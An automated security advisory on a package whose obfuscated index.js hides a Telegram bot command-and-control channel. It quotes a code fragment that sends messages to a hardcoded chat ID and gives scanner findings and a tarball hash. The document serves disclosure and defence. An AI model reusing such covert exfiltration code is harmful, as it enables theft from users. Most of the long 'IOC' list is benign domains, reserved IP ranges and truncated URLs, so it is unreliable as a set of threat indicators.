GCVE-110-OSM-2026-13098

src/package/index.js:1 contains a hidden Telegram C2: new b1(atob(<obfuscated token>),{'polling':!0x0})['sendMessage'](atob('NzUzNjk3MzI2'),...) — a hardcoded attacker chat ID (753697326) with the bot token concealed in the obfuscator.io string array. Combined with atob-based custom decoding, multipart file-upload code, and 14 exfiltration/C2 findings in the same obfuscated bundle, this proves covert remote communication unfit for a legitimate CLI. ## Static analysis (vigil) Verdict `BLOCK`, score 100/100. Critical/high findings: - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - [critical] SC-004 Dynamic require — `package/index.js:1` - … 611 more findings omitted ## Package metadata - Publisher: unknown - Published: 2026-10-02T23:57:52.798Z - Install hooks: none found - SHA-256 (tarball): `e4de414e4cf1df9d2180880d7c7bd61047556caaa464cba3c79c6b9adb5d21e9` ## IOCs (defanged) - 00[.]64[.]0[.]0 - 045[.]4[.]3[.]3 - 0[.]0[.]0[.]0 - 0[.]100[.]1[.]1 - 0[.]1[.]101[.]3 - 0emm[.]com - 100[.]64[.]0[.]0 - 101[.]3[.]4[.]1 - 101[.]3[.]4[.]2 - 10[.]0[.]0[.]0 - 110[.]0[.]0[.]0 - 127[.]0[.]0[.]0 - 127[.]0[.]0[.]1 - 169[.]254[.]0[.]0 - 180r[.]com - 192[.]0[.]0[.]0 - 192[.]0[.]0[.]10 - 192[.]31[.]196[.]0 - 192[.]52[.]193[.]0 - 198[.]18[.]0[.]0 - 1[.]2[.]840[.]10 - 1[.]3[.]101[.]110 - 1[.]3[.]101[.]112 - 1[.]3[.]101[.]113 - 1[.]3[.]132[.]0 - 1[.]amazonaws[.]com - 1[.]amazoncognito[.]com - 1[.]elasticbeanstalk[.]com - 1kapp[.]com - 224[.]0[.]0[.]0 - 2[.]16[.]840[.]1 - 2[.]31[.]196[.]0 - 2[.]5[.]29[.]17 - 2[.]5[.]29[.]19 - 2[.]5[.]29[.]37 - 2[.]5[.]4[.]10 - 2[.]5[.]4[.]3 - 2[.]5[.]4[.]4 - 2[.]5[.]4[.]45 - 2[.]5[.]4[.]65 - 2[.]5[.]4[.]7 - 2[.]amazonaws[.]com - 2[.]amazoncognito[.]com - 3-website[.]ap-southeast-1[.]amazonaws[.]com - 3-website[.]ap-southeast-3[.]amazonaws[.]com - 3[.]4[.]1[.]42 - 45[.]4[.]3[.]3 - 4u[.]com - 6[.]840[.]1[.]101 - 6[.]azurestaticapps[.]net - 77[.]org - 7[.]azurestaticapps[.]net - 840[.]1[.]101[.]3 - 92[.]31[.]196[.]0 - a-east-1[.]amazonaws[.]com - a1-de[.]cloudjiffy[.]net - a[.]prod[.]fastly[.]net - ac[.]me - accesspoint[.]eu-central-2[.]amazonaws[.]com - accesspoint[.]il-central-1[.]amazonaws[.]com - adobeaemcloud[.]com - adobeio-static[.]net - adobeioruntime[.]net - adthedocs-hosted[.]com - aem[.]live - aemcloud[.]net - affinitylottery[.]org - ainer[.]com - airflow[.]amazonaws[.]com - airkitapps-au[.]com - airkitapps[.]com - aivencloud[.]com - akadns[.]net - al[.]com - altin[.]doviz[.]com - amazonaws[.]com - ambda[.]us-east-2[.]amazonaws[.]com - an[.]su - analytics-gateway[.]ap-northeast-1[.]amazonaws[.]com - analytics-gateway[.]us-east-1[.]amazonaws[.]com - anva-apps[.]com - ap-northeast-1[.]airflow[.]amazonaws[.]com - ap-northeast-1[.]elasticbeanstalk[.]com - ap-northeast-2[.]elasticbeanstalk[.]com - ap-southeast-1[.]airflow[.]amazonaws[.]com - ap-southeast-3[.]airflow[.]amazonaws[.]com - ap[.]ngrok[.]io - api[.]groq[.]com - api[.]openai[.]com - app[.]com - app[.]os[.]fedoraproject[.]org - applinzi[.]com - appspaceusercontent[.]com - appui-prod[.]cn-north-1[.]amazonaws[.]com - ar[.]com - armenia[.]su - assets[.]cloud9[.]us-east-1[.]amazonaws[.]com - at-band-camp[.]net - at[.]eu[.]org - au[.]ngrok[.]io - auth-fips[.]us-east-1[.]amazoncognito[.]com - auth-fips[.]us-gov-west-1[.]amazoncognito[.]com - auth[.]af-south-1[.]amazoncognito[.]com - auth[.]ap-south-2[.]amazoncognito[.]com - auth[.]ap-southeast-3[.]amazoncognito[.]com - auth[.]ca-central-1[.]amazoncognito[.]com - auth[.]eu-central-2[.]amazoncognito[.]com - authgear-staging[.]com - awsapps[.]com - awsglobalaccelerator[.]com - ay[.]com - azurecontainer[.]io - azureedge[.]net - azurestaticapps[.]net - azurewebsites[.]net - bad[.]org - balashov[.]su - barsy[.]dev - barsy[.]info - barsy[.]io - barsy[.]site - barsyonline[.]com - bashkiria[.]ru - bay[.]com - be[.]eu[.]org - blackbaudcdn[.]net - blob[.]core[.]windows[.]net - blogdns[.]com - blogdns[.]net - blogspot[.]com - blogsyte[.]com - bookonline[.]app - boutir[.]com - bplaced[.]net - br[.]com - brasilia[.]me - builder[.]code[.]com - byen[.]site - c[.]cdn77[.]org - c[.]ts[.]net - callback[.]app - canva-apps[.]com - cdn-edges[.]net - cdn[.]cloudflareanycast[.]net - cdn[.]prod[.]atlassian-dev[.]net - ce[.]com - cesspoint-fips[.]ca-west-1[.]amazonaws[.]com - cesspoint[.]ap-northeast-2[.]amazonaws[.]com - cf-ipfs[.]com - ch[.]eu[.]org - cleverapps[.]io - cloud[.]com - cloud[.]nospamproxy[.]com - cloudaccess[.]net - cloudflare-ipfs[.]com - cloudflare[.]net - cloudflareanycast[.]net - cloudfunctions[.]net - cloudycluster[.]net - cn[.]com - cockpit[.]nl-ams[.]scw[.]cloud - collegefan[.]org - com[.]ru - compute-1[.]amazonaws[.]com - compute[.]amazonaws[.]com - couchpotatofries[.]org - craft[.]me - ct-lambda[.]ap-northeast-3[.]amazonaws[.]com - cust[.]testing[.]thingdust[.]io - cy[.]eu[.]org - d[.]com - d[.]me - dagestan[.]ru - dagestan[.]su - dattolocal[.]com - ddnsking[.]com - de[.]eu[.]org - debian[.]net - definima[.]io - definima[.]net - deta[.]dev - dev-myqnapcloud[.]com - developer[.]app - devices[.]resinstaging[.]io - digitaloceanspaces[.]com - dnsalias[.]com - dnsfor[.]me - dnsiskinky[.]com - dnsup[.]net - dobeio-static[.]net - does-it[.]net - dojin[.]com - dopaas[.]com - drayddns[.]com - dreamhosters[.]com - drud[.]io - ds[.]net - dscloud[.]me - dualstack[.]ap-northeast-2[.]amazonaws[.]com - dualstack[.]ap-southeast-1[.]amazonaws[.]com - dualstack[.]ap-southeast-3[.]amazonaws[.]com - dualstack[.]ap-southeast-4[.]amazonaws[.]com - dualstack[.]us-gov-east-1[.]amazonaws[.]com - duckdns[.]org - dvrdns[.]org - dyn-o-saur[.]com - dynalias[.]net - dynamic-dns[.]info - dyndns-at-home[.]com - dyndns-home[.]com - dyndns-remote[.]com - dyndns[.]info - dynu[.]net - dynv6[.]net - e[.]com - e[.]dualstack[.]me-central-1[.]amazonaws[.]com - e[.]org - eadthedocs-hosted[.]com - east-1[.]amazonaws[.]com - east-2[.]amazonaws[.]com - east-3[.]amazonaws[.]com - east-4[.]amazonaws[.]com - eb[.]org - ebooks-prod[.]ca-central-1[.]amazonaws[.]com - ecute-api[.]ap-southeast-3[.]amazonaws[.]com - ecute-api[.]ap-southeast-5[.]amazonaws[.]com - edgecompute[.]app - edgekey[.]net - eero[.]online - elasticbeanstalk[.]com - elia[.]su - emrappui-prod[.]af-south-1[.]amazonaws[.]com - emrappui-prod[.]ap-east-1[.]amazonaws[.]com - emrappui-prod[.]ap-northeast-1[.]amazonaws[.]com - emrappui-prod[.]ap-northeast-2[.]amazonaws[.]com - emrappui-prod[.]ap-south-2[.]amazonaws[.]com - emrappui-prod[.]ca-west-1[.]amazonaws[.]com - emrappui-prod[.]eu-south-1[.]amazonaws[.]com - emrappui-prod[.]eu-south-2[.]amazonaws[.]com - emrappui-prod[.]me-central-1[.]amazonaws[.]com - emrappui-prod[.]sa-east-1[.]amazonaws[.]com - emrappui-prod[.]us-east-2[.]amazonaws[.]com - emrnotebooks-prod[.]ap-northeast-1[.]amazonaws[.]com - emrnotebooks-prod[.]ap-southeast-1[.]amazonaws[.]com - emrnotebooks-prod[.]me - emrnotebooks-prod[.]me-south-1[.]amazonaws[.]com - emrnotebooks-prod[.]us-east-2[.]amazonaws[.]com - emrstudio-prod[.]ap-east-1[.]amazonaws[.]com - emrstudio-prod[.]ap-southeast-3[.]amazonaws[.]com - emrstudio-prod[.]ap-southeast-4[.]amazonaws[.]com - emrstudio-prod[.]ca-west-1[.]amazonaws[.]com - emrstudio-prod[.]eu-central-2[.]amazonaws[.]com - emrstudio-prod[.]eu-west-2[.]amazonaws[.]com - emrstudio-prod[.]us-west-2[.]amazonaws[.]com - en[.]site - endofinternet[.]net - engine[.]io - entral-1[.]amazonaws[.]com - er[.]mythic-beasts[.]com - ernal-1[.]amazonaws[.]com - es-1[.]axarnet[.]cloud - est-le-patron[.]com - est-mon-blogueur[.]com - etrolofisi[.]com - eu-3[.]evennode[.]com - eu-central-1[.]elasticbeanstalk[.]com - eu-south-1[.]elasticbeanstalk[.]com - eu-west-3[.]airflow[.]amazonaws[.]com - eu[.]api[.]openai[.]com - eu[.]ngrok[.]io - eu[.]org - execute-api[.]ap-northeast-1[.]amazonaws[.]com - execute-api[.]ap-southeast-4[.]amazonaws[.]com - execute-api[.]eu-west-1[.]amazonaws[.]com - execute-api[.]il-central-1[.]amazonaws[.]com - execute-api[.]me-south-1[.]amazonaws[.]com - execute-api[.]us-east-2[.]amazonaws[.]com - expo[.]app - express-rate-limit[.]github[.]io - f[.]org - familyds[.]com - familyds[.]net - familyds[.]org - fastly-terrarium[.]com - fentiger[.]mythic-beasts[.]com - filegear[.]me - fips[.]dualstack[.]us-east-1[.]amazonaws[.]com - firewall-gateway[.]com - flutterflow[.]app - fly[.]dev - fonts[.]googleapis[.]com - fonts[.]gstatic[.]com - fr-par[.]scw[.]cloud - fr[.]eu[.]org - fra1-de[.]cloud - fra1-de[.]cloudjiffy[.]net - free[.]app - freeddns[.]org - freemyip[.]com - fries[.]org - from-ak[.]com - from-ar[.]com - from-dc[.]com - from-ky[.]com - from-ma[.]com - from-md[.]com - from-mo[.]com - from-nj[.]com - from-ny[.]net - from-ok[.]com - from-pa[.]com - from-sd[.]com - from-vt[.]com - from-wa[.]com - from-wv[.]com - from-wy[.]com - fs[.]cloud9[.]ap-southeast-2[.]amazonaws[.]com - function[.]prototype[.]app - game-host[.]org - game-server[.]cc - gb[.]net - geekgalaxy[.]com - ggff[.]net - github[.]com - githubusercontent[.]com - global[.]replit[.]dev - go[.]dyndns[.]org - googleapis[.]com - gov-west-1[.]amazonaws[.]com - gov[.]me - gr[.]com - gr[.]eu[.]org - grayjayleagues[.]com - grozny[.]su - h-1[.]amazonaws[.]com - h-fips[.]us-gov-west-1[.]amazoncognito[.]com - hacker[.]replit[.]dev - hatenablog[.]com - hatenadiary[.]com - hatenadiary[.]org - heast-1[.]amazonaws[.]com - heast-2[.]amazonaws[.]com - heast-3[.]amazonaws[.]com - heast-4[.]amazonaws[.]com - heast-5[.]amazonaws[.]com - hepforge[.]org - herokuapp[.]com - hicam[.]net - hk[.]com - hk[.]org - home[.]dyndns[.]org - homelinux[.]org - homeunix[.]com - homeunix[.]net - hopto[.]me - hopto[.]org - hostedpi[.]com - hosting[.]myjino[.]ru - hu[.]net - hxxps://127[.]0[.]0[.]1:3001/fon/klu\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20style=\x22width:\x20100% - hxxps://127[.]0[.]0[.]1:3001/fon/klu\… - hxxps://[ - hxxps://altin[.]doviz[.]com/ - hxxps://altin[.]doviz[.]co… - hxxps://api[.]groq[.]com - hxxps://api[.]gro… - hxxps://api[.]openai[.]com/v1 - hxxps://api[.]openai[.]com/… - hxxps://api[.]openai[.]com… - hxxps://api[.]openai[.]co… - hxxps://api[.]openai[.]c… - hxxps://eu[.]api[.]openai[.]com/v1 - hxxps://eu[.]api[.]openai[.]com/v… - hxxps://express-rate-limit[.]github[.]io/ - hxxps://express-rate-limit[.]g… - hxxps://fonts[.]googleapis[.]com/css2?family=As… - hxxps://fonts[.]googleapis[.]com\x22\x0a\x20\x20\x20\x20/ - hxxps://fonts[.]googleapis[.]com\x22\x0a\x2… - hxxps://fonts[.]goog… - hxxps://fonts[.]gstatic[.]com\x22\x0a\x20\x20\x20\x20\x20\x20crossorigin\x0a\x20\x20\x20\x20/ - hxxps://fonts[.]gstatic[.]com\x22\x0a\x20\x… - hxxps://git[.]new/pathToRegexpError - hxxps://git[.]new/pathToRegexpError\x20for\x20info - hxxps://git[.]new/pathToRe… - hxxps://git[.]new/pathT… - hxxps://github[.]com/ajv-validator/ajv/blob/ma… - hxxps://github[.]com/ajv-validator/ajv/blob/m… - hxxps://github[.]… - hxxps://github… - hxxps://goo[.]gl/MqrFmX\x0a - hxxps://goo[.]gl/MqrFmX\x0a\x0a - hxxps://goo[.]gl/rRqMUw - hxxps://goo[.]gl/rRqM… - hxxps://goo[.]gl/… - hxxps://integrate[.]api[.]nvidia[.]com/v1 - hxxps://integrate[.]api[.]nvidia[.]… - hxxps://in… - hxxps://json-schema[.]org/draft-06/schema# - hxxps://json-schema[.]org/draft-07/schema# - hxxps://json-schema[.]org/draft-07/schema#… - hxxps://json-schema[.]org/draft… - hxxps://json-schema[.]org/draf… - hxxps://json-schema[.]org/dr… - hxxps://json-schema[.]org/… - hxxps://json-schema… - hxxps://json-schem… - hxxps://json-sch… - hxxps://j… - hxxps://raw[.]githubusercontent[.]com/ajv-va… - hxxps://raw[.]github… - hxxps://www[.]aytemiz[.]com[.]tr/akaryakit-fiyatlari/lpg-fiyatlari/ - hxxps://www[.]hdfilmcehennemi[.]nl/search/?q= - hxxps://www[.]ibm[.]com/data/dtd/v11/ibmxhtml1-transitional[.]dtd… - hxxps://www[.]ibm[.]com/data/dt… - hxxps://www[.]petrolofisi[.]com[.]tr/akaryakit-fiyatlari/ - hxxps://www[.]pe… - hxxps://www[.]postgresql[.]org/docs/current/libpq-ssl[.]html - hxxps://www[.]postgresql[.]org/docs/current/libpq-ssl[.]… - hxxps://www[.]tefas[.]gov[.]tr - hxxps://www[.]tppd[.]com[.]tr/ - hxxps://www[.]tpp… - hxxps://www[.]w3[.]org/1999/xlink - hxxps://www[.]w3[.]org/2000/xmlns/ - hxxps://www[.]w3[.]org/XML/1998/namespace - hxxps://www[.]w3[.]org/… - hxxps://ww… - hxxps://w… - hxxps://… - hypernode[.]io - hzc[.]io - i234[.]me - ia[.]ru - ia[.]su - iamallama[.]com - icam[.]net - ick[.]com - id[.]replit[.]dev - ied[.]com - iger[.]mythic-beasts[.]com - il[.]org - in-the-band[.]net - in[.]ngrok[.]io - instances[.]spawn[.]cc - int[.]dualstack[.]ap-south-2[.]amazonaws[.]com - int[.]ru - integrate[.]api[.]nvidia[.]com - ipv6-literal[.]net - irflow[.]amazonaws[.]com - is-a-blogger[.]com - is-a-bruinsfan[.]org - is-a-celticsfan[.]org - is-a-chef[.]org - is-a-democrat[.]com - is-a-geek[.]com - is-a-geek[.]net - is-a-llama[.]com - is-a-republican[.]com - is-a-rockstar[.]com - is-a-socialist[.]com - is-a[.]dev - is-an-accountant[.]com - is-an-actress[.]com - is-an-engineer[.]com - is-certified[.]com - is-gone[.]com - is-into-cartoons[.]com - is-into-games[.]com - is-saved[.]org - is-very-nice[.]org - is-with-theband[.]com - is[.]com - isa-geek[.]com - isa-hockeynut[.]com - iserv[.]dev - it1[.]jenv-aruba[.]cloud - it[.]com - iterm[.]app - ithub[.]com - its[.]me - j[.]com - j[.]scaleforce[.]com - jdevcloud[.]com - jed[.]wafaicloud[.]com - jelastic[.]com - jele[.]cloud - jls-sto2[.]elastx[.]net - jotelulu[.]cloud - jp[.]eu[.]org - jp[.]net - jp[.]ngrok[.]io - js[.]wpenginepowered[.]com - json-schema[.]org - k12[.]me - k[.]com - k[.]org - k[.]su - karacol[.]su - karaganda[.]su - karelia[.]su - keyword-on[.]net - khakassia[.]su - kirk[.]replit[.]dev - kozow[.]com - kr[.]eu[.]org - kustanai[.]ru - l-1[.]amazonaws[.]com - l-1[.]amazoncognito[.]com - l-2[.]amazoncognito[.]com - ladesk[.]com - landing[.]myjino[.]ru - lclstage[.]dev - lenug[.]su - lib[.]me - linodeobjects[.]com - lmykia[.]ru - localcert[.]net - loginline[.]app - loginto[.]me - lolipop[.]io - lstack[.]cn-northwest-1[.]amazonaws[.]com - lug[.]org - lugs[.]org - lytics-gateway[.]eu-west-1[.]amazonaws[.]com - lytics-gateway[.]us-east-1[.]amazonaws[.]com - m-wv[.]com - m[.]com - m[.]dev - mangyshlak[.]su - mbo[.]me - me-south-1[.]airflow[.]amazonaws[.]com - me-south-1[.]elasticbeanstalk[.]com - me[.]com - media[.]strapiapp[.]com - memset[.]net - mex[.]com - mircloud[.]ru - mittwald[.]info - mo-siemens[.]io - mock[.]pstmn[.]io - modelscape[.]com - moonscale[.]io - mordovia[.]su - mpute-1[.]amazonaws[.]com - mrappui-prod[.]eu-north-1[.]amazonaws[.]com - msk[.]ru - msk[.]su - mycloudnas[.]com - mydbserver[.]com - mydissent[.]net - myeffect[.]net - myiphost[.]com - myphotos[.]cc - myradweb[.]net - myrdbx[.]io - myshopblocks[.]com - myspreadshop[.]com - myspreadshop[.]net - n[.]cloudflareanycast[.]net - n[.]org - nalchik[.]ru - naws[.]com - ne[.]app - net-freaks[.]com - net[.]ru - netfy[.]app - ngrok-free[.]app - ngrok[.]dev - njs[.]jelastic[.]vps-host[.]net - no-ip[.]info - no[.]eu[.]org - nodebalancer[.]linode[.]com - nodes[.]k8s[.]fr-par[.]scw[.]cloud - nodes[.]k8s[.]pl-waw[.]scw[.]cloud - noip[.]me - north-1[.]amazonaws[.]com - notebooks-prod[.]ap-east-1[.]amazonaws[.]com - notebooks-prod[.]eu-west-3[.]amazonaws[.]com - notebooks-prod[.]us-east-2[.]amazonaws[.]com - nov[.]ru - novecore[.]site - now-dns[.]org - now-dns[.]top - ns[.]com - nt[.]af-south-1[.]amazonaws[.]com - nt[.]net - ntent[.]com - ntral-1[.]amazonaws[.]com - nu[.]net - o[.]app - o[.]com - oapp[.]com - obfuscator[.]io - object-lambda[.]me-south-1[.]amazonaws[.]com - object-lambda[.]sa-east-1[.]amazonaws[.]com - object-lambda[.]us-west-2[.]amazonaws[.]com - obninsk[.]su - ocs[.]customer-oci[.]com - oint[.]dualstack[.]us-east-2[.]amazonaws[.]com - ok[.]io - omniwe[.]site - on-acorn[.]io - onaws[.]com - oncilla[.]mythic-beasts[.]com - onthewifi[.]com - ooks-prod[.]ap-northeast-1[.]amazonaws[.]com - openai[.]com - opensocial[.]site - openssh[.]com - or[.]com - oraclegovcloudapps[.]com - org[.]io - orsites[.]com - orth-1[.]amazonaws[.]com - osting[.]myjino[.]ru - ot-certified[.]com - oud[.]ru - outh-1[.]amazonaws[.]com - outh-2[.]amazonaws[.]com - ownip[.]net - ownprovider[.]com - p[.]net - pages[.]dev - pages[.]torproject[.]net - pagexl[.]com - panel[.]dev - paywhirl[.]com - pb[.]ru - penza[.]su - pgafan[.]net - picard[.]replit[.]dev - pixolino[.]com - playstation-cloud[.]com - pleskns[.]com - podzone[.]org - poivron[.]org - pokrovsk[.]su - polyspace[.]com - potager[.]org - pp[.]ru - pps[.]net - prerelease[.]replit[.]dev - preview[.]csb[.]app - primetel[.]cloud - pro[.]net - pro[.]typeform[.]com - pubtls[.]org - pute-1[.]amazonaws[.]com - qualifioapp[.]com - r[.]appspot[.]com - ra1-de[.]cloudjiffy[.]net - rackmaze[.]net - rappui-prod[.]me-central-1[.]amazonaws[.]com - raw[.]githubusercontent[.]com - read-books[.]org - readthedocs-hosted[.]com - reed[.]replit[.]dev - reservd[.]com - reservd[.]disrec[.]thingdust[.]io - reserve-online[.]net - resindevice[.]io - ries[.]org - rnal-1[.]amazonaws[.]com - ron[.]org - ru[.]net - rvableusercontent[.]com - s-a-republican[.]com - s-gateway[.]ap-northeast-1[.]amazonaws[.]com - s-very-sweet[.]org - s-west-1[.]amazonaws[.]com - s-west-2[.]amazonaws[.]com - s3-accesspoint-fips[.]dualstack[.]us-gov-west-1[.]amazonaws[.]com - s3-accesspoint[.]ap-east-1[.]amazonaws[.]com - s3-accesspoint[.]ap-southeast-1[.]amazonaws[.]com - s3-accesspoint[.]ap-southeast-4[.]amazonaws[.]com - s3-accesspoint[.]dualstack[.]ap-east-1[.]amazonaws[.]com - s3-accesspoint[.]dualstack[.]ap-southeast-2[.]amazonaws[.]com - s3-accesspoint[.]dualstack[.]ca-central-1[.]amazonaws[.]com - s3-accesspoint[.]dualstack[.]me - s3-accesspoint[.]eu-central-2[.]amazonaws[.]com - s3-accesspoint[.]eu-west-1[.]amazonaws[.]com - s3-accesspoint[.]us-east-2[.]amazonaws[.]com - s3-accesspoint[.]us-gov-west-1[.]amazonaws[.]com - s3-accesspoint[.]us-west-1[.]amazonaws[.]com - s3-ap-east-1[.]amazonaws[.]com - s3-ap-northeast-3[.]amazonaws[.]com - s3-ap-southeast-1[.]amazonaws[.]com - s3-deprecated[.]eu-west-1[.]amazonaws[.]com - s3-deprecated[.]us-east-2[.]amazonaws[.]com - s3-deprecated[.]us-west-2[.]amazonaws[.]com - s3-eu-north-1[.]amazonaws[.]com - s3-eu-west-2[.]amazonaws[.]com - s3-external-1[.]amazonaws[.]com - s3-fips[.]ca-west-1[.]amazonaws[.]com - s3-fips[.]dualstack[.]us-east-2[.]amazonaws[.]com - s3-fips[.]us-west-1[.]amazonaws[.]com - s3-me-south-1[.]amazonaws[.]com - s3-object-lambda[.]ap-northeast-3[.]amazonaws[.]com - s3-object-lambda[.]ap-southeast-5[.]amazonaws[.]com - s3-object-lambda[.]cn-north-1[.]amazonaws[.]com - s3-object-lambda[.]eu-north-1[.]amazonaws[.]com - s3-object-lambda[.]eu-south-1[.]amazonaws[.]com - s3-object-lambda[.]eu-west-1[.]amazonaws[.]com - s3-object-lambda[.]eu-west-2[.]amazonaws[.]com - s3-object-lambda[.]sa-east-1[.]amazonaws[.]com - s3-object-lambda[.]us-east-1[.]amazonaws[.]com - s3-us-gov-east-1[.]amazonaws[.]com - s3-us-west-2[.]amazonaws[.]com - s3-website-ap-southeast-1[.]amazonaws[.]com - s3-website-eu-west-1[.]amazonaws[.]com - s3-website[.]ap-northeast-2[.]amazonaws[.]com - s3-website[.]ap-south-1[.]amazonaws[.]com - s3-website[.]ap-south-2[.]amazonaws[.]com - s3-website[.]ca-west-1[.]amazonaws[.]com - s3-website[.]cn-northwest-1[.]amazonaws[.]com - s3-website[.]dualstack[.]af-south-1[.]amazonaws[.]com - s3-website[.]dualstack[.]ap-south-2[.]amazonaws[.]com - s3-website[.]dualstack[.]ap-southeast-2[.]amazonaws[.]com - s3-website[.]dualstack[.]ap-southeast-5[.]amazonaws[.]com - s3-website[.]dualstack[.]eu-central-1[.]amazonaws[.]com - s3-website[.]dualstack[.]il-central-1[.]amazonaws[.]com - s3-website[.]eu-central-1[.]amazonaws[.]com - s3-website[.]eu-central-2[.]amazonaws[.]com - s3-website[.]eu-south-2[.]amazonaws[.]com - s3-website[.]eu-west-1[.]amazonaws[.]com - s3[.]ap-southeast-5[.]amazonaws[.]com - s3[.]ca-west-1[.]amazonaws[.]com - s3[.]cn-north-1[.]amazonaws[.]com - s3[.]dualstack[.]af-south-1[.]amazonaws[.]com - s3[.]dualstack[.]ap-northeast-2[.]amazonaws[.]com - s3[.]dualstack[.]ap-southeast-3[.]amazonaws[.]com - s3[.]dualstack[.]cn-northwest-1[.]amazonaws[.]com - s3[.]dualstack[.]us-east-1[.]amazonaws[.]com - s3[.]eu-south-2[.]amazonaws[.]com - s3[.]fr-par[.]scw[.]cloud - s3[.]il-central-1[.]amazonaws[.]com - s3[.]me - s3[.]me-south-1[.]amazonaws[.]com - s3[.]nl-ams[.]scw[.]cloud - s3[.]us-west-1[.]amazonaws[.]com - s[.]app - s[.]com - s[.]me - s[.]net - s[.]org - s[.]scw[.]cloud - sa-east-1[.]airflow[.]amazonaws[.]com - sa[.]ngrok[.]io - securitytactics[.]com - selfip[.]info - selfip[.]net - sells-for-u[.]com - serveblog[.]net - serveftp[.]net - servehumour[.]com - serveirc[.]com - serveminecraft[.]net - servequake[.]com - server-on[.]net - server[.]com - servesarcasm[.]com - sets[.]cloud9[.]eu-central-1[.]amazonaws[.]com - shw[.]io - site[.]cloud - site[.]dualstack[.]eu-west-3[.]amazonaws[.]com - site[.]tb-hosting[.]com - sk[.]eu[.]org - small-web[.]org - smartlabeling[.]scw[.]cloud - sn[.]mynetname[.]net - snowflake[.]app - socket[.]io - son-schema[.]org - son[.]com - south-1[.]amazonaws[.]com - south-2[.]amazonaws[.]com - spacekit[.]io - spb[.]ru - spdns[.]org - spock[.]replit[.]dev - square7[.]net - squares[.]net - ssl[.]origin[.]cdn77-secure[.]org - st[.]info - st[.]ru - stackhero-network[.]com - static[.]observableusercontent[.]com - staticapps[.]net - statics[.]cloud - stg-builder[.]code[.]com - storipress[.]app - strapiapp[.]com - stuff-4-sale[.]org - t[.]com - t[.]dev - t[.]net - t[.]testing[.]thingdust[.]io - tackhero-network[.]com - tcp4[.]me - teaches-yoga[.]com - teams[.]replit[.]dev - termez[.]su - test[.]ru - testing[.]thingdust[.]io - th-1[.]amazoncognito[.]com - th[.]me-south-1[.]amazoncognito[.]com - theast-1[.]amazonaws[.]com - theast-5[.]amazonaws[.]com - this[.]info - thread[.]run[.]step[.]com - thub[.]com - thub[.]io - tn[.]oxa[.]cloud - tor[.]com - tos[.]cc - townnews-staging[.]com - trafficplex[.]cloud - tral-1[.]amazonaws[.]com - ts[.]cloud9[.]ap-northeast-1[.]amazonaws[.]com - ts[.]cloud9[.]ap-southeast-1[.]amazonaws[.]com - ts[.]net - tula[.]su - tuleap-partners[.]com - tunk[.]org - twmail[.]cc - twmail[.]net - twmail[.]org - u-central-2[.]amazonaws[.]com - u-west-1[.]amazonaws[.]com - u2[.]xnbay[.]com - u[.]channelsdvr[.]net - u[.]org - uckdns[.]org - udio-prod[.]ap-northeast-2[.]amazonaws[.]com - ufcfan[.]org - uk[.]net - uni5[.]net - unison-services[.]cloud - us-2[.]evennode[.]com - us-east-1[.]elasticbeanstalk[.]com - us-east-2[.]airflow[.]amazonaws[.]com - us-east-2[.]elasticbeanstalk[.]com - us-gov-east-1[.]amazonaws[.]com - us-west-1[.]elasticbeanstalk[.]com - us[.]ngrok[.]io - us[.]reclaim[.]cloud - user[.]localcert[.]dev - v-west-1[.]amazonaws[.]com - v[.]su - va-apps[.]com - vableusercontent[.]com - vapor[.]cloud - vercel[.]dev - vfs[.]cloud - vfs[.]cloud9[.]ap-south-1[.]amazonaws[.]com - vfs[.]cloud9[.]ap-southeast-2[.]amazonaws[.]com - vfs[.]cloud9[.]sa-east-1[.]amazonaws[.]com - vfs[.]cloud9[.]us-east-2[.]amazonaws[.]com - vladikavkaz[.]ru - vladikavkaz[.]su - vladimir[.]su - vnd[.]ms-playready[.]me - vnd[.]net - vnd[.]sealed[.]net - vnd[.]sun[.]j2me[.]app - vps-host[.]net - vron[.]org - w[.]com - wafflecell[.]com - wb[.]crm[.]dev - wc[.]crm[.]dev - web[.]app - webredirect[.]org - webview-assets[.]aws-cloud9[.]ap-east-1[.]amazonaws[.]com - webview-assets[.]aws-cloud9[.]me-south-1[.]amazonaws[.]com - webview-assets[.]aws-cloud9[.]us-west-1[.]amazonaws[.]com - webview-assets[.]cloud9[.]ca-central-1[.]amazonaws[.]com - webview-assets[.]cloud9[.]eu-south-1[.]amazonaws[.]com - webview-assets[.]cloud9[.]eu-west-3[.]amazonaws[.]com - webview-assets[.]cloud9[.]us-east-1[.]amazonaws[.]com - wesley[.]replit[.]dev - west-1[.]amazonaws[.]com - west-3[.]amazonaws[.]com - wflake[.]app - whm[.]fr-par[.]scw[.]cloud - whm[.]nl-ams[.]scw[.]cloud - wmcloud[.]org - wmflabs[.]org - wpdevcloud[.]com - wpsquared[.]site - ws[.]com - wv[.]com - ww[.]w3[.]org - www[.]aytemiz[.]com - www[.]ibm[.]com - www[.]petrolofisi[.]com - www[.]postgresql[.]org - www[.]tppd[.]com - www[.]w3[.]org - x20[.]app - x[.]io - xecute-api[.]us-gov-west-1[.]amazonaws[.]com - xmit[.]dev - xnbay[.]com - y[.]com - y[.]eu[.]org - y[.]io - y[.]net - yds[.]net - yombo[.]me - zonaws[.]com